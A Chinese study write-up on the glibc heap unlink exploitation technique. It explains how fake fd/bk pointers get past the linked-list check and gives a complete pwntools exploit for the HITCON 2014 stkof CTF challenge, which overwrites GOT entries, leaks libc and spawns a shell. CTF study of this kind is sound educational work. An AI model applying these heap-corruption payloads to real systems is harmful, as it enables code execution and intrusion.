Unlink学习记录
Overview
- unlink俗称脱链,就是将链表头处的free堆块从unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或向后合并),再放入到unsorted bin中。
- 危害原理:通过伪造free状态的fake_chunk,伪造
fd和bk指针,通过绕过unlink的检测实现unlink使其往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。 - 漏洞产生原因:
Offbynull、offbyone、堆溢出,原因是修改了堆块的使用标志位。
源码解读
/*malloc.c int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd);
}-
进行判断:看当前堆块中
p这个标志位,如果p设置为0则为free状态,则进行unlink,否则反之; -
先提取prev_size,然后当前size+prev_size,此时指针会指向当前chunk的前一个堆块,合并后的指针地址为:free的堆块地址 - 前一个chunk大小,此时
p指针则会从现在的堆块跳到前一个堆块;
prevsize = p->prev_size;
size += prevsize;- 最后是将这个堆块和相邻的(这里是上一个)一起unlink。
//相关函数说明:
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \
BK->fd = FD; \
...
}unlink函数是如何定义的:
-
从合并后新指针地址中提取出
fd指针和bk指针作为临时变量; -
这里有一个check,检查FD的bk和BK的fd是否指向当前堆块,若不通过则不进行unlink;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);- 通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。
unlink的绕过和利用
我们伪造如下信息:
- chunk = 0x0602280 (P是将要合并到的堆地址,P存在chunk中,相当于
*chunk = P) - P_fd = chunk - 0x18 = 0x0602268
- P_bk = chunk - 0x10 = 0x0602270
我在学习的过程中此处卡住了,对于为什么是减去
0x18和0x10这两个值我们在此复习一下为什么是减去0x18和0x10,在 glibc 的 malloc 实现(ptmalloc)中,在释放前、不在 bin 中时,chunk 结构为:struct malloc_chunk { size_t prev_size; // 0x00 偏移(如果前一个块空闲,才有用) size_t size; // 0x08 偏移(包含标志位) struct malloc_chunk* fd; // 0x10 偏移(仅在 bin 中使用) struct malloc_chunk* bk; // 0x18 偏移 // ... 更后面还有 fd_nextsize, bk_nextsize(large bin) };而回顾上面的内容有这样的一条:“通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。”
绕过技巧
define unlink(P, BK, FD) { \
FD = P->fd; \FD = 0x602268
BK = P->bk; \BK = 0x602270
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \FD->bk = *(0x602268+0x18) | *(0x602280) = P
\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \*(0x602268+0x18) | *(0x602280) = 0x602270
BK->fd = FD; \ *(0x602270+0x10) | *(0x602280) = 0x602268
...
}- 绕过检查可以总结成: 和 ,等价于: 和
- 可以构造成
P_fd = P - 0x18
P_bk = P - 0x10即:
FD = P - 0x18
FD->bk = (P - 0x18) + 0x18 = P → 内容等于 P(绕过)
BK = P - 0x10
BK->fd = (P - 0x10) + 0x10 = P → 内容等于 P(绕过)总结起来就是:让 P->fd 指向 P - 0x18,P->bk 指向 P - 0x10,就能绕过 FD->bk == P 和 BK->fd == P 检查,并使 \*P 被覆写为 P - 0x18。
2014 HITCON stkof
- 堆布局
- 伪造 fake chunk
- fd/bk = ptr-0x18/ptr-0x10
- 修改 next chunk 的 prev_size/size
- unlink 写全局指针
- 写 GOT 表项
- 先 leak 后 getshell
EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#libc = ELF('./libc.so.6')
#sh = process("./stkof")
sh = remote("node5.buuoj.cn",25830)
stkof = ELF('./stkof')
head = 0x602140
def malloc(size):
sh.sendline(b'1')
sh.sendline(str(size))
sh.recvuntil(b'OK\n')
def edit(idx,size,content):
sh.sendline(b'2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')
def free(idx):
sh.sendline(b'3')
sh.sendline(str(idx))
malloc(0x100)
malloc(0x30)
malloc(0x80)
payload = p64(0) #pre_size = 0
payload += p64(0x20) #fake size
payload += p64(head + 0x10 - 0x18)
payload += p64(head + 0x10 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30,b'a')
payload += p64(0x30)
payload += p64(0x90)
edit(2, len(payload), payload)
free(3)
sh.recvuntil('OK\n')
payload2 = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
edit(2,len(payload2),payload2)
payload3 = p64(stkof.plt['puts'])
edit(0,len(payload3),payload3)
free(1)
puts_addr = u64(sh.recvuntil('\nOK\n', drop=True).ljust(8,b'\x00'))
#
# libc_base = puts_addr - libc.symbols['puts']
# binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# system_addr = libc_base + libc.symbols['system']
#
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
payload4 = p64(system_addr)
binsh_addr =libc_base + libc.dump('str_bin_sh')
edit(2, len(payload4), payload4)
sh.send(p64(binsh_addr))
sh.interactive()References
Unlink学习记录
https://zer0ptr.github.io/2026/02/11/heap-ptmalloc2-unlink/